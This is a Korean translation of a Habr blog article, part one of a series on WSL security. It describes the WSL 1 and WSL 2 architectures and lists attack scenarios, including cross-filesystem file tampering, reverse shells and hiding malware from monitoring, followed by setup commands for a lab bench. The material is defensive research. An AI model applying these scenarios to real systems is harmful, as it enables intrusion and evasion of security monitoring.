WSL ์‹คํ—˜. 1 ๋ถ€

์•ˆ๋…•, ํ•˜๋ธŒ๋ฅด! OTUS๋Š” XNUMX์›”์— ์ƒˆ๋กœ์šด ์ฝ”์Šค ์ŠคํŠธ๋ฆผ์„ ์ถœ์‹œํ•ฉ๋‹ˆ๋‹ค. "๋ฆฌ๋ˆ…์Šค ๋ณด์•ˆ". ์ฝ”์Šค ์‹œ์ž‘์„ ์˜ˆ์ƒํ•˜์—ฌ ์šฐ๋ฆฌ ์„ ์ƒ๋‹˜ ์ค‘ ํ•œ ๋ถ„์ธ Alexander Kolesnikov๊ฐ€ ์“ด ๊ธฐ์‚ฌ๋ฅผ ์—ฌ๋Ÿฌ๋ถ„๊ณผ ๊ณต์œ ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

WSL ์‹คํ—˜. 1 ๋ถ€

2016๋…„์— Microsoft๋Š” IT ์ปค๋ฎค๋‹ˆํ‹ฐ์— ์ƒˆ๋กœ์šด WSL ๊ธฐ์ˆ ์„ ๋„์ž…ํ–ˆ์Šต๋‹ˆ๋‹ค(Windows Sํ•˜์œ„ ์‹œ์Šคํ…œ Linux)๋Š” ์•ž์œผ๋กœ ์ผ๋ฐ˜ OS ์‚ฌ์šฉ์ž์™€ ๊ณ ๊ธ‰ OS ์‚ฌ์šฉ์ž์ธ Windows ๋ฐ Linux ์‚ฌ์ด์—์„œ ์ธ๊ธฐ๋ฅผ ์œ„ํ•ด ์‹ธ์šฐ๊ณ  ์žˆ๋˜ ์ด์ „์— ํ™”ํ•ดํ•  ์ˆ˜ ์—†์—ˆ๋˜ ๊ฒฝ์Ÿ์‚ฌ๋ฅผ ํ†ตํ•ฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ์ˆ ์„ ํ†ตํ•ด ๋ฉ€ํ‹ฐ๋ถ€ํŠธ(Multi-boot) ๋“ฑ์„ ์ด์šฉํ•ด ๋ฆฌ๋ˆ…์Šค๋ฅผ ์‹คํ–‰ํ•  ํ•„์š” ์—†์ด ์œˆ๋„์šฐ ํ™˜๊ฒฝ์—์„œ ๋ฆฌ๋ˆ…์Šค OS ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋๋‹ค. Habr์—์„œ๋Š” WSL ์‚ฌ์šฉ์˜ ์ด์ ์„ ์„ค๋ช…ํ•˜๋Š” ์ˆ˜๋งŽ์€ ๊ธฐ์‚ฌ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์•ˆํƒ€๊น๊ฒŒ๋„ ์ด ๊ธฐ์‚ฌ๋ฅผ ์ž‘์„ฑํ•  ๋‹น์‹œ์—๋Š” ์ด ๋ฆฌ์†Œ์Šค์—์„œ ์ด๋Ÿฌํ•œ ์šด์˜ ์ฒด์ œ ๊ณต์ƒ์˜ ๋ณด์•ˆ์— ๋Œ€ํ•œ ์—ฐ๊ตฌ๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฒˆ ํฌ์ŠคํŒ…์€ ์ด๋ฅผ ๋ฐ”๋กœ์žก๊ธฐ ์œ„ํ•œ ์‹œ๋„๊ฐ€ ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด ๊ธฐ์‚ฌ์—์„œ๋Š” WSL 1 ๋ฐ 2 ์•„ํ‚คํ…์ฒ˜์˜ ๊ธฐ๋Šฅ์— ๋Œ€ํ•ด ์„ค๋ช…ํ•˜๊ณ  ์ด๋Ÿฌํ•œ ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•˜๋Š” ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ๊ณต๊ฒฉ์˜ ์—ฌ๋Ÿฌ ์˜ˆ๋ฅผ ๊ฒ€ํ† ํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ์‚ฌ๋Š” 2๋ถ€๋ถ„์œผ๋กœ ๋‚˜๋ˆ„์–ด์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. ์ฒซ ๋ฒˆ์งธ๋Š” Linux์™€ Windows์˜ ์ฃผ์š” ์ด๋ก ์  ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๋‘ ๋ฒˆ์งธ ๊ธฐ์‚ฌ์—๋Š” ํ…Œ์ŠคํŠธ ํ™˜๊ฒฝ์„ ์„ค์ •ํ•˜๊ณ  ๊ณต๊ฒฉ์„ ์žฌํ˜„ํ•˜๋Š” ๋‚ด์šฉ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.

WSL 1: ์•„ํ‚คํ…์ฒ˜ ๊ธฐ๋Šฅ

WSL ๋ณด์•ˆ ๋ฌธ์ œ๋ฅผ ๊ฐ€์žฅ ์ •ํ™•ํ•˜๊ฒŒ ์กฐ์‚ฌํ•˜๋ ค๋ฉด ํ•˜์œ„ ์‹œ์Šคํ…œ ๊ตฌํ˜„๊ณผ ๊ด€๋ จ๋œ ์ฃผ์š” ์ฐจ์ด์ ์„ ํŒŒ์•…ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. WSL์ด ํ•ด๊ฒฐํ•˜๋Š” ์ฃผ์š” ์‚ฌ์šฉ์ž ์ž‘์—… ์ค‘ ํ•˜๋‚˜๋Š” Windows OS๋ฅผ ์‹คํ–‰ํ•˜๋Š” ํ˜ธ์ŠคํŠธ์—์„œ Linux ํ„ฐ๋ฏธ๋„์„ ํ†ตํ•ด ์ž‘์—…ํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ ์ œ๊ณต๋˜๋Š” ํ˜ธํ™˜์„ฑ์€ ๋งค์šฐ ๊ธฐ๋ณธ์ ์ด์–ด์„œ Linux ์‹คํ–‰ ํŒŒ์ผ(ELF)์„ Windows ์‹œ์Šคํ…œ์—์„œ ์ง์ ‘ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ชฉํ‘œ๋ฅผ ๋‹ฌ์„ฑํ•˜๊ธฐ ์œ„ํ•ด Windows 10์—์„œ๋Š” ํŠน์ • ์‹œ์Šคํ…œ ํ˜ธ์ถœ ์ง‘ํ•ฉ์„ ์‚ฌ์šฉํ•˜์—ฌ Linux ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ํŠน์ˆ˜ ํ•˜์œ„ ์‹œ์Šคํ…œ์ด ๋งŒ๋“ค์–ด์กŒ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ Windows์—์„œ Linux syscall ์ง‘ํ•ฉ์„ ๋งคํ•‘ํ•˜๋ ค๋Š” ์‹œ๋„๊ฐ€ ์ด๋ฃจ์–ด์กŒ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ƒˆ๋กœ์šด ๋“œ๋ผ์ด๋ฒ„์™€ ์ƒˆ๋กœ์šด ํ”„๋กœ์„ธ์Šค ํ˜•์‹์„ ์ถ”๊ฐ€ํ•˜์—ฌ ๋ฌผ๋ฆฌ์ ์œผ๋กœ ๊ตฌํ˜„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์‹œ๊ฐ์ ์œผ๋กœ ์•„ํ‚คํ…์ฒ˜๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

WSL ์‹คํ—˜. 1 ๋ถ€

์‹ค์ œ๋กœ Linux ์šด์˜ ์ฒด์ œ์™€์˜ ์ƒํ˜ธ ์ž‘์šฉ์€ ์—ฌ๋Ÿฌ ์ปค๋„ ๋ชจ๋“ˆ๊ณผ ํŠน์ˆ˜ ์œ ํ˜•์˜ ํ”„๋กœ์„ธ์Šค์ธ pico๋ฅผ ํ†ตํ•ด ๊ตฌ์„ฑ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์œ„ ๋‹ค์ด์–ด๊ทธ๋žจ์—์„œ ํ˜ธ์ŠคํŠธ์˜ Linux ์ธ์Šคํ„ด์Šค์—์„œ ์‹คํ–‰๋˜๋Š” ํ”„๋กœ์„ธ์Šค๋Š” ๊ธฐ๋ณธ์ด์–ด์•ผ ํ•˜๋ฉฐ ์ผ๋ฐ˜ Windows ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ๋™์ผํ•œ ๋ฆฌ์†Œ์Šค๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•จ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๊ฒƒ์„ ๋‹ฌ์„ฑํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋ฌด์—‡์ž…๋‹ˆ๊นŒ? ํ”„๋กœ์ ํŠธ์—์„œ ๊ฐ€๋™๊ต ๋‹ค๋ฅธ OS์˜ ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ํ•„์š”ํ•œ ์šด์˜ ์ฒด์ œ ๊ตฌ์„ฑ ์š”์†Œ(๋ฒ„์ „์— ๋”ฐ๋ผ ๋‹ค๋ฆ„)๋ฅผ ๋ชจ๋‘ ์ œ๊ณตํ•˜๋Š” Windows์šฉ ํ”„๋กœ์„ธ์Šค ๊ฐœ๋…์ด ๊ฐœ๋ฐœ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์ œ์•ˆ๋œ ์ถ”์ƒํ™”๋Š” ๋‹ค๋ฅธ OS์˜ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์‹œ์ž‘๋  ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒ๋˜๋Š” ์šด์˜ ์ฒด์ œ(ํŠนํžˆ Windows)์— ์ดˆ์ ์„ ๋งž์ถ”์ง€ ์•Š๊ณ  ์ผ๋ฐ˜์ ์ธ ์ ‘๊ทผ ๋ฐฉ์‹์„ ์ œ์•ˆํ•˜๋Š” ๊ฒƒ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ–ˆ์Šต๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ pico ํ”„๋กœ์„ธ์Šค ๋‚ด๋ถ€์˜ ๋ชจ๋“  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ Windows ์ปค๋„์— ๊ด€๊ณ„์—†์ด ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  1. ์‹œ์Šคํ…œ ํ˜ธ์ถœ์˜ ํ˜ธํ™˜์„ฑ ๋ฐ ๋ณ€ํ™˜ ๋ฌธ์ œ๋Š” ํŠน์ˆ˜ ๊ณต๊ธ‰์ž๊ฐ€ ํ•ด๊ฒฐํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  2. ์ ‘๊ทผ ํ†ต์ œ๋Š” ๋ณด์•ˆ ๋ชจ๋‹ˆํ„ฐ๋ฅผ ํ†ตํ•ด ์ด๋ฃจ์–ด์ ธ์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋ชจ๋‹ˆํ„ฐ๋Š” ์ปค๋„์— ์žˆ์œผ๋ฏ€๋กœ Windows์—์„œ๋Š” ํ•ด๋‹น ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•œ ๊ณต๊ธ‰์ž ์—ญํ• ์„ ํ•  ์ˆ˜ ์žˆ๋Š” ์ƒˆ ๋“œ๋ผ์ด๋ฒ„ ํ˜•ํƒœ๋กœ ์—…๊ทธ๋ ˆ์ด๋“œ๊ฐ€ ํ•„์š”ํ–ˆ์Šต๋‹ˆ๋‹ค. ํ”„๋กœํ† ํƒ€์ž… ํ”ผ์ฝ” ํ”„๋กœ์„ธ์Šค๋Š” ์•„๋ž˜์— ๊ฐœ๋žต์ ์œผ๋กœ ์ œ์‹œ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

WSL ์‹คํ—˜. 1 ๋ถ€

Linux ํŒŒ์ผ ์‹œ์Šคํ…œ์€ ๋Œ€์†Œ๋ฌธ์ž๋ฅผ ๊ตฌ๋ถ„ํ•˜๋Š” ํŒŒ์ผ ๋ฐ ๋””๋ ‰ํ„ฐ๋ฆฌ ์ด๋ฆ„์„ ์‚ฌ์šฉํ•˜๋ฏ€๋กœ WSL๊ณผ ํ•จ๊ป˜ ์ž‘๋™ํ•˜๊ธฐ ์œ„ํ•ด VolFS ๋ฐ DriveFS๋ผ๋Š” ๋‘ ๊ฐ€์ง€ ์œ ํ˜•์˜ ํŒŒ์ผ ์‹œ์Šคํ…œ์ด Windows์— ์ถ”๊ฐ€๋˜์—ˆ์Šต๋‹ˆ๋‹ค. VolFS๋Š” Linux ํŒŒ์ผ ์‹œ์Šคํ…œ์˜ ๊ตฌํ˜„์ด๊ณ , DriveFS๋Š” Windows ๊ทœ์น™์— ๋”ฐ๋ผ ์ž‘๋™ํ•˜์ง€๋งŒ ๋Œ€์†Œ๋ฌธ์ž ๊ตฌ๋ถ„์„ ์„ ํƒํ•  ์ˆ˜ ์žˆ๋Š” ํŒŒ์ผ ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค.

WSL 2

WSL 1์—๋Š” ์ตœ๋Œ€ ๋ฒ”์œ„์˜ ์ž‘์—…์„ ํ•ด๊ฒฐํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋Š” ์—ฌ๋Ÿฌ ๊ฐ€์ง€ ์ œํ•œ ์‚ฌํ•ญ์ด ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด 32๋น„ํŠธ Linux ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹คํ–‰ํ•  ์ˆ˜ ์—†๊ณ  ์žฅ์น˜ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์—ˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ 2020๋…„์—๋Š” WSL 2๊ฐ€ ์ถœ์‹œ๋˜์–ด ํ•˜์œ„ ์‹œ์Šคํ…œ ๊ตฌ์ถ•์— ๋Œ€ํ•œ ์ ‘๊ทผ ๋ฐฉ์‹์ด ๋ณ€๊ฒฝ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. WSL 2๋Š” WSL 1์˜ ๋ฆฌ์†Œ์Šค ์†Œ๋น„ ํŠน์„ฑ๊ณผ ์ผ์น˜ํ•˜๋Š” ์ตœ์ ํ™”๋œ ๊ฐ€์ƒ ๋จธ์‹ ์ž…๋‹ˆ๋‹ค. ์ด์ œ Windows OS ์‚ฌ์šฉ์ž๊ฐ€ ํ•ด๊ฒฐํ•œ ๋ฌธ์ œ์— ๋”ฐ๋ผ ํ•„์š”ํ•œ Linux ํ•˜์œ„ ์‹œ์Šคํ…œ ๋ฒ„์ „์„ ์„ ํƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐ€๋Šฅํ•œ ์ทจ์•ฝ์ ์„ ์™„ํ™”ํ•˜๊ธฐ ์œ„ํ•ด WSL 2๋Š” Windows 10์˜ Hyper-V๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ๊ตฌํ˜„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ํ˜•์‹์—์„œ Windows๋Š” Linux ์šด์˜ ์ฒด์ œ ์ปค๋„์„ ๊ฒฉ๋ฆฌํ•˜์—ฌ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. WSL ๋ฒ„์ „ 1์€ ์ด ๋ถ„์•ผ์˜ Windows ๊ฐœ๋ฐœ ๋ฐฉํ–ฅ์„ ๋ณด์—ฌ์ฃผ๊ธฐ ์œ„ํ•œ ๋ฒ ํƒ€ ๊ธฐ๋Šฅ์œผ๋กœ ๋„์ž…๋˜์—ˆ๊ธฐ ๋•Œ๋ฌธ์— Hyper-V๋กœ์˜ ์ „ํ™˜์ด ๋ถˆ๊ฐ€ํ”ผํ–ˆ๋‹ค๋Š” ์ ์„ ๊ธฐ์–ตํ•  ํ•„์š”๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ตœ์ข… ์•„ํ‚คํ…์ฒ˜๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

WSL ์‹คํ—˜. 1 ๋ถ€

์ด ๋ฒ„์ „์—์„œ๋Š” Windows ๋ฐ Linux ์ปค๋„์ด ์ž์ฒด ๋ฆฌ์†Œ์Šค๋ฅผ ๊ฐ€์ง€๋ฉฐ ๊ต์ฐจ์ ์€ ํŒŒ์ผ ์‹œ์Šคํ…œ์—๋งŒ ์กด์žฌํ•˜์ง€๋งŒ ์ด ๊ต์ฐจ์ ์€ ์™„์ „ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ํŒŒ์ผ ์‹œ์Šคํ…œ ๊ฐ„์˜ ์ƒํ˜ธ ์ž‘์šฉ์€ 9P ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ž‘๋™ํ•˜๋Š” ํด๋ผ์ด์–ธํŠธ-์„œ๋ฒ„ ๋ž˜ํผ๋ฅผ ํ†ตํ•ด ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค.

ํ˜„์žฌ Microsoft๋Š” WSL 1๊ณผ WSL 2 ๊ฐ„ ์ „ํ™˜ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๋‘ ๋ฒ„์ „ ๋ชจ๋‘ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

WSL ๋ณด์•ˆ

ํ˜„์žฌ ํ•ฉ๋ฒ•์ ์ธ OS ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ•˜์œ„ ์‹œ์Šคํ…œ ๊ฐ„์˜ ํ†ต์‹ ์„ ๊ณต๊ฒฉํ•˜๋Š” ๋ช‡ ๊ฐ€์ง€ ์ ‘๊ทผ ๋ฐฉ์‹์„ ์„ค๋ช…ํ•˜๋Š” ์—ฌ๋Ÿฌ ์ž‘์—…์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๋Š” ๊ทธ๋“ค์˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ธ€์„ ์“ฐ๋Š” ์‹œ์ ์—์„œ ๊ณต๊ฒฉ์˜ ๊ด€๋ จ์„ฑ์„ ํ™•์ธํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ ๊ณต๊ฒฉ ๋ฐ ์‹œ๋‚˜๋ฆฌ์˜ค ๋ชฉ๋ก:

1. ํŒŒ์ผ ์‹œ์Šคํ…œ ๊ตฌํ˜„: ์•ก์„ธ์Šค ๊ถŒํ•œ, ๊ณต์œ  ๋””๋ ‰ํ„ฐ๋ฆฌ/๋ฐ์ดํ„ฐ ๊ตํ™˜ ๋ฉ”์ปค๋‹ˆ์ฆ˜์˜ ๊ฐ€์šฉ์„ฑ.

์ ‘๊ทผ ๊ทœ์น™ ์œ„๋ฐ˜ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ์—ฐ๊ตฌ๊ฐ€ ์ˆ˜ํ–‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๋ฆฌ๋ˆ…์Šค FS->์œˆ๋„์šฐ FS, ์œˆ๋„์šฐ FS->๋ฆฌ๋ˆ…์Šค FS. ์—ฐ๊ตฌ ๊ฒฐ๊ณผ์— ๋”ฐ๋ฅด๋ฉด ๋Œ€์ƒ OS ๋‚ด์—์„œ ํŠน์ • ํŒŒ์ผ์„ ์ˆ˜์ •ํ•˜๋Š” ๊ธฐ๋Šฅ์ด ์ž…์ฆ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ํŒŒ์ผ ์‹œ์Šคํ…œ์˜ ์ผ๋ถ€๋ฅผ ๋Œ€์ฒดํ•˜๊ณ , ๋ณต์ œ๋ณธ์„ ๋งŒ๋“ค๊ณ , ์‚ญ์ œํ•˜๋ ค๋Š” ์‹œ๋„๋„ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

์‹œ๋‚˜๋ฆฌ์˜ค :

  • A. Windows ์šด์˜ ์ฒด์ œ๋กœ๋ถ€ํ„ฐ์˜ ๊ณต๊ฒฉ - Linux OS์˜ /etc ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์žˆ๋Š” ํŒŒ์ผ ์ˆ˜์ •.
  • B. Linux ์šด์˜ ์ฒด์ œ์˜ ๊ณต๊ฒฉ - ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ ํŒŒ์ผ ์ˆ˜์ •: C:Windows, C:Program Files, C:Users<User>

2. ๋„คํŠธ์›Œํฌ ์Šคํƒ์˜ ๊ตฌํ˜„.

์—ฐ๊ตฌ๋Š” Windows์˜ Linux ์šด์˜ ์ฒด์ œ์—์„œ ๋ฐœ์ƒํ•œ ๊ณต๊ฒฉ ์‚ฌ๋ก€๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ˆ˜ํ–‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๋„คํŠธ์›Œํฌ ์Šคํƒ์˜ ๊ธฐ๋Šฅ, ์ฆ‰ ๋‹ค์–‘ํ•œ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ์ธ์ฆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด ์‚ฌ์šฉ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์‹œ๋‚˜๋ฆฌ์˜ค :

  • Windows ์‹œ์Šคํ…œ์—์„œ ์‚ฌ์šฉ ์ค‘์ธ ํฌํŠธ์— ๋Œ€ํ•œ ์•ก์„ธ์Šค ์—ด๊ธฐ
  • ํ•ด๋‹น ๊ถŒํ•œ ์—†์ด ํฌํŠธ ์—ด๊ธฐ
  • Windows ์šด์˜ ์ฒด์ œ์—์„œ elf ํŒŒ์ผ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฆฌ๋ฒ„์Šค ์‰˜์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

3. WSL ํ•˜์œ„ ์‹œ์Šคํ…œ์„ ์‚ฌ์šฉํ•˜์—ฌ ์•…์„ฑ ์†Œํ”„ํŠธ์›จ์–ด ํ”„๋กœ์„ธ์Šค์˜ ์‹œ์ž‘์„ ์ˆจ๊น๋‹ˆ๋‹ค.

์ด ์—ฐ๊ตฌ๋Š” WSL 1์˜ ๊ฒฝ์šฐ ์šด์˜ ์ฒด์ œ์˜ ํ•ฉ๋ฒ•์ ์ธ ๊ณต๊ธ‰์ž๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ž‘๋™ํ•˜๋Š” ๋‹ค๋ฅธ ์ปค๋„์—์„œ ๋ณด์•ˆ ํ•˜์œ„ ์‹œ์Šคํ…œ์ด ์ด๋ฒคํŠธ๋ฅผ ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์—†๋‹ค๋Š” ๋‹จ์ˆœํ•œ ์‚ฌ์‹ค์— ๊ธฐ๋ฐ˜์„ ๋‘๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. WSL 2์˜ ๊ฒฝ์šฐ ๋ฐœ์ƒํ•˜๋Š” ์ด๋ฒคํŠธ๋ฅผ ๋ณผ ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์ด ์—†์Šต๋‹ˆ๋‹ค. ๊ฒฝ๋Ÿ‰ ๊ฐ€์ƒ ๋จธ์‹  ๋‚ด์˜ ๋ณ„๋„ ์ปค๋„์— ์žˆ์Šต๋‹ˆ๋‹ค.

์‹œ๋‚˜๋ฆฌ์˜ค :

1) ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ์›๊ฒฉ ์•ก์„ธ์Šค๋ฅผ ์œ„ํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹คํ–‰ํ•˜๊ณ  ๊ธฐ๋ก๋œ ์ด๋ฒคํŠธ๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

WSL 1 ์‹คํ—˜: ํ•ด์‹œ ๊ฐ€๋กœ์ฑ„๊ธฐ(Windows)

๋งˆ์นจ๋‚ด ์šฐ๋ฆฌ๋Š” ์‹ค์šฉ์ ์ธ ๋ถ€๋ถ„์— ๋„๋‹ฌํ–ˆ์Šต๋‹ˆ๋‹ค. ๋จผ์ € ํ…Œ์ŠคํŠธ ํ™˜๊ฒฝ์„ ์„ค์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋ชจ๋“  ์‹คํ—˜์€ Windows 10 2004๊ฐ€ ์„ค์น˜๋œ ๋ฒค์น˜์—์„œ ์ˆ˜ํ–‰๋˜๋ฉฐ Ubuntu 18.04 ์ด๋ฏธ์ง€๊ฐ€ WSL์˜ ์šด์˜ ์ฒด์ œ ์ด๋ฏธ์ง€๋กœ ์„ ํƒ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฏธ์ง€๋Š” ๋ฌด์ž‘์œ„๋กœ ์„ ํƒ๋˜์—ˆ์œผ๋ฉฐ ๋‹ค๋ฅธ ์ด๋ฏธ์ง€๋„ ๋™์ผํ•˜๊ฒŒ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ์Šคํƒ ๋“œ ์„ค์ • ๋ช…๋ น:

๋จผ์ € ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. powershell.exe ๊ด€๋ฆฌ์ž๋กœ.

WSL 1์˜ ๊ฒฝ์šฐ ๋‹ค์Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #ะ’ะบะปัŽั‡ะธั‚ัŒ ั„ัƒะฝะบั†ะธัŽ WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #ะ—ะฐะณั€ัƒะทะธั‚ัŒ ะพะฑั€ะฐะท Linux ะธะท ะผะฐะณะฐะทะธะฝะฐ Microsoft

  • Ubuntu.appx install โ€”root #ะฃัั‚ะฐะฝะพะฒะธะผ ะพะฑั€ะฐะท
  • ะ’ะพะทะผะพะถะฝะพ, ะฟั€ะธะดะตั‚ัั ะฟั€ะพะบะปะธะบะฐั‚ัŒ ะฟั€ะพั†ะตัั ะฝะฐัั‚ั€ะพะนะบะธ ะธ ัะพะทะดะฐั‚ัŒ ะฝะพะฒะพะณะพ ะฟะพะปัŒะทะพะฒะฐั‚ะตะปั, ะบะพั‚ะพั€ั‹ะน ะฑัƒะดะตั‚ ะธะผะตั‚ัŒ ะผะตะฝัŒัˆะต ะฟั€ะฐะฒ, ั‡ะตะผ root. ะ”ะปั ะฝะฐัˆะธั… ั‚ะตัั‚ะพะฒ ัั‚ะพ ะฑัƒะดะตั‚ ะพะฑั‹ั‡ะฝั‹ะน ะฟะพะปัŒะทะพะฒะฐั‚ะตะปัŒ sam.
  • Restart-Computer #ะŸะตั€ะตะทะฐะณั€ัƒะทะธะผ
  • ์Šคํƒ ๋“œ๋ฅผ ์žฌ๋ถ€ํŒ…ํ•œ ํ›„ bash ๋ช…๋ น์„ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ชจ๋“  ๊ฒƒ์ด ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ž‘๋™ํ•˜๋ฉด Windows ์ฝ˜์†”์— ๋‹ค์Œ๊ณผ ์œ ์‚ฌํ•œ ์ถœ๋ ฅ์ด ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค.

    WSL ์‹คํ—˜. 1 ๋ถ€

    Kali Linux ๋ฐฐํฌํŒ์„ ๊ณต๊ฒฉ์ž์˜ ๋จธ์‹ ์œผ๋กœ ์‚ฌ์šฉํ•  ๊ฒƒ์ด๋ฉฐ, ๋ชจ๋“  ๋จธ์‹ ์€ ๋™์ผํ•œ ๋กœ์ปฌ ๋„คํŠธ์›Œํฌ์— ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

